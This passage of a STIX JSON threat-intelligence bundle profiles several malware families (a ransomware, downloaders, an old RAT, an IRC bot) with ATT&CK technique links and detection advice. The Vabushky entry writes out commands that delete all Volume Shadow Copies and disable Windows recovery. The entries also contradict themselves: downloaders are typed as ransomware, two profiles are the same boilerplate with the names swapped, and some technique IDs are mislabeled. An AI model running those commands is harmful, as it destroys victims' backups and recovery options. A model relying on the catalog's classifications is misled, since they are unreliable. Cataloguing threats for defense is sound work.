      "description": "Vabushky (cataloged across security vendor databases and threat intelligence feeds under signatures including Ransom:Win32/Vabushky, Trojan-Ransom.Win32.Vabushky, and Trojan.Vabushky) is a destructive crypto-ransomware and extortion screen-locker threat active since 2016. Infiltrating endpoints primarily through malicious spam email attachments containing macro-enabled documents or exploit kit redirections, Vabushky immediately initiates destructive host operations. It terminates active database, backup, and security services before traversing local drives, removable disks, and mapped network shares. Vabushky encrypts user documents, spreadsheets, images, and archives using AES-256 with an embedded RSA public key, appending a custom identifier extension to locked files. Furthermore, it deletes Volume Shadow Copies (vssadmin delete shadows /all /quiet), disables Windows Startup Repair (bcdedit /set {default} recoveryenabled No), and presents an extortion lockscreen warning demanding cryptocurrency payment for file restoration. (Observed samples in benchmark: 32)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Vabushky",
        "Trojan-Ransom.Win32.Vabushky",
        "Trojan.Vabushky",
        "Win32/Vabushky",
        "Ransom:Win32/Vabushky.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vabushky",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vabushky"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1e9ab3df-06db-5081-9b6c-3bcbf99a3f67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vakcune",
      "description": "<h3>Executive Summary</h3>\nVakcune is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nVakcune is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Vakcune operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Vakcune ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Vakcune receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Vakcune infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Vakcune executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Vakcune frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Vakcune",
        "Downloader.Vakcune",
        "Win32/Vakcune"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vakcune",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vakcune"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba0b0114-5bbf-5378-94c7-2bb91145512b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e9ab3df-06db-5081-9b6c-3bcbf99a3f67",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vakcune exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9b94b8a-ddf6-530d-866d-b67cd2fce38f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e9ab3df-06db-5081-9b6c-3bcbf99a3f67",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vakcune exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff84e777-8256-5ae8-a49c-232a31a3e0b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1e9ab3df-06db-5081-9b6c-3bcbf99a3f67",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vakcune exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--69175df4-92c0-5a50-8327-936d5a46d7df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vake",
      "description": "Trojan:Win32/Vake is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Vake</b><br>To an end-user, a Vake infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Vake is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Vake is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Vake frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Vake reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vake",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vake"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d380617-a983-5a24-8178-a4d15f82c16d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69175df4-92c0-5a50-8327-936d5a46d7df",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vake exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--860bd30b-34ae-5e94-9caa-4600e3f2016a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69175df4-92c0-5a50-8327-936d5a46d7df",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vake exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bbd8cdac-4290-59c1-8b70-0de7215c8fc5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69175df4-92c0-5a50-8327-936d5a46d7df",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vake exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a339059c-06af-55d0-83d5-810115d00962",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69175df4-92c0-5a50-8327-936d5a46d7df",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vake exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b35aedcd-6dd6-5c06-b2e3-a5b83f878775",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--69175df4-92c0-5a50-8327-936d5a46d7df",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vake exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b5219c69-7beb-5b26-8e28-6d43f0aeb29c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Valcaryx",
      "description": "Trojan:Win32/Valcaryx is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Valcaryx</b><br>To an end-user, a Valcaryx infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Valcaryx is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Valcaryx is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Valcaryx frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Valcaryx reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Valcaryx",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/valcaryx"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aa571859-d8c2-594e-837c-30433c292033",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5219c69-7beb-5b26-8e28-6d43f0aeb29c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Valcaryx exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1541c066-0289-5a91-9d58-e08adddbed76",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5219c69-7beb-5b26-8e28-6d43f0aeb29c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Valcaryx exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8499cdbc-ae9b-5ad2-af1c-d2015be8bbcb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5219c69-7beb-5b26-8e28-6d43f0aeb29c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Valcaryx exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c63dd14a-e484-5347-82f0-d4715b35eb03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5219c69-7beb-5b26-8e28-6d43f0aeb29c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Valcaryx exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37b68327-4e59-5219-afb0-3cebe4a02891",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5219c69-7beb-5b26-8e28-6d43f0aeb29c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Valcaryx exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a7baf6aa-3ab4-55ce-99fb-5daf6d388b45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vampire",
      "description": "Vampire (also documented across security definitions as Vampire RAT, Vampire Trojan, and Backdoor.Win32.Vampire) is a vintage Remote Access Trojan created in 2000. Engineered as a client-server administration and surveillance framework for Windows 95, 98, and NT, Vampire allows unauthorized remote operators to manipulate compromised endpoints across raw TCP network connections. Once installed, the Vampire server binary registers itself under Windows autostart registry Run keys, hides its process from rudimentary system task lists, and opens a listening port for inbound connections from the operator client. The backdoor features a wide range of remote surveillance and control commands, including file system browsing, file transfer, registry tampering, remote process termination, keystroke interception, desktop viewing, and hardware disruption routines such as opening CD-ROM drives and flipping display settings.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Vampire RAT",
        "Backdoor.Vampire",
        "Trojan.Win32.Vampire",
        "Vampire Trojan",
        "Backdoor:Win32/Vampire"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vampire",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vampire"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4e8dca7-a172-5608-ba47-9f55d787f339",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7baf6aa-3ab4-55ce-99fb-5daf6d388b45",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vampire exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f560c086-c39c-5a62-a59a-630e97f18b66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7baf6aa-3ab4-55ce-99fb-5daf6d388b45",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vampire exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3af7b06a-f3c9-5c00-8724-6e558be0a184",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7baf6aa-3ab4-55ce-99fb-5daf6d388b45",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vampire exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7bab57f-206d-52ae-b902-a06f4e81221a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7baf6aa-3ab4-55ce-99fb-5daf6d388b45",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vampire exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b639711f-a996-51a8-be9f-0fecadc186e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7baf6aa-3ab4-55ce-99fb-5daf6d388b45",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vampire exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fb521651-ab5c-5efb-9390-36a8f5836719",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vanbot",
      "description": "Backdoor:Win32/Vanbot (derived from the Agobot/Spybot family) is a legacy trojan that infects a system and connects it to a clandestine Internet Relay Chat (IRC) server to receive commands from a botmaster. While IRC botnets are considered 'old-school' compared to modern HTTP/HTTPS C2 infrastructure, they remain highly effective for orchestrating massive Distributed Denial of Service (DDoS) attacks and network scanning.<br><br><b>Understanding Vanbot (IRC Botnets)</b><br>To an end-user, a Vanbot infection is typically invisible, unless the machine is actively participating in a DDoS attack, which would cause severe network sluggishness. For a security analyst, detecting IRC traffic (port 6667) originating from a standard user workstation\u2014especially if the organization does not legitimately use IRC for communication\u2014is an immediate, glaring indicator of compromise.<br><br><b>Execution and Command Mechanics</b><br>Vanbot is traditionally distributed via unpatched software vulnerabilities (particularly SMB and RPC exploits) or malicious email attachments (`T1189`). Upon execution, the malware establishes persistence via the Registry Run keys or as a Windows Service (`T1547.001`, `T1543.003`). The core of the backdoor is an embedded IRC client. It silently connects to a hardcoded IRC server and joins a specific, hidden channel (`T1071.002`). The botmaster issues commands directly into the chat channel. These commands typically include instructions to launch SYN floods against a target (`T1498`), download further modules (`T1105`), or aggressively scan the local subnet for vulnerable machines to propagate automatically like a worm (`T1046`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the enlistment of the host into a DDoS botnet and rapid lateral movement via automated exploitation. Host-based IoCs are standard registry or service persistence mechanisms. Network IoCs are the most obvious: persistent, unencrypted outbound TCP connections on port 6667 containing cleartext IRC protocol commands (`NICK`, `JOIN`) and massive outbound port scanning (e.g., TCP 135, 445). (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vanbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vanbot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de669552-f9f1-54a1-a839-087ccdb82a69",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb521651-ab5c-5efb-9390-36a8f5836719",
      "target_ref": "attack-pattern--aa418889-2105-5889-96f6-4224121989df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vanbot exhibits technique T1071.002 (Application Layer Protocol: File Transfer Protocol (and IRC))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55e00bb3-b2ed-55fe-be4d-b6fb0c2b2851",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb521651-ab5c-5efb-9390-36a8f5836719",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vanbot exhibits technique T1498 (Network Denial of Service (Launching DDoS attacks via IRC commands))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a78ad42-eb95-5c2c-9078-1b11e41db4cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb521651-ab5c-5efb-9390-36a8f5836719",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vanbot exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77499941-904d-522a-a5f6-aaf7feb76599",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb521651-ab5c-5efb-9390-36a8f5836719",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vanbot exhibits technique T1046 (Network Service Discovery (Worm-like scanning))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e9d5366c-eb1b-5edc-be4b-4e92ff56f388",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vanilloader",
      "description": "TrojanDownloader:Win32/Vanilloader is a lightweight, highly obfuscated trojan designed exclusively to act as the first stage in a multi-stage infection chain. Its sole purpose is to securely bypass initial endpoint defenses, establish a foothold, and silently download and execute a much more destructive secondary payload, such as a banking trojan, ransomware, or an advanced infostealer.<br><br><b>Understanding the Downloader Threat</b><br>To an end-user, Vanilloader is entirely invisible. It does not display ransom notes or steal data itself. For a security analyst, Vanilloader is a critical 'Initial Access' indicator. If Vanilloader is detected on a system, it means the perimeter has been breached, and the immediate priority is determining whether it successfully downloaded its secondary payload before being quarantined.<br><br><b>Execution and Delivery Mechanics</b><br>Vanilloader is typically distributed via spear-phishing campaigns (`T1566.001`) containing malicious Office documents (using VBA macros) or zipped executables disguised as invoices. Upon execution (`T1204.002`), the trojan employs anti-analysis techniques to check if it is running in a sandbox (`T1497`). It then connects to a hardcoded, often compromised, Command-and-Control (C2) server (`T1071.001`). It requests the secondary payload, often downloading it directly into system memory (`T1055`) or saving it to the `%Temp%` directory under a randomized name before executing it (`T1105`). Once the secondary payload is running, Vanilloader frequently deletes itself to remove forensic evidence.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the successful deployment of a high-severity threat. Host-based IoCs include EDR alerts for office applications (e.g., `WINWORD.EXE`) spawning anomalous child processes (like `powershell.exe` or `cmd.exe`) which then reach out to the internet. Network IoCs include a sudden, short burst of outbound HTTP/HTTPS traffic to an unknown, low-reputation IP address, followed immediately by the download of an executable payload or encrypted blob. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vanilloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vanilloader"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1717ef24-d639-5d9d-82bd-13a173679f38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e9d5366c-eb1b-5edc-be4b-4e92ff56f388",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vanilloader exhibits technique T1105 (Ingress Tool Transfer (Downloading the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c03b1c7b-9d16-5c06-8a74-f92426de95f6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e9d5366c-eb1b-5edc-be4b-4e92ff56f388",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vanilloader exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30abd3d5-f48a-54bd-8bdf-96edf739e6e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e9d5366c-eb1b-5edc-be4b-4e92ff56f388",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vanilloader exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--86326c2a-1e61-5845-a789-2f34ee3657e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e9d5366c-eb1b-5edc-be4b-4e92ff56f388",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vanilloader exhibits technique T1055 (Process Injection (Executing payload in memory))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5f39d80d-3120-5bb5-b9bd-e21dd5e8c431",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vapsup",
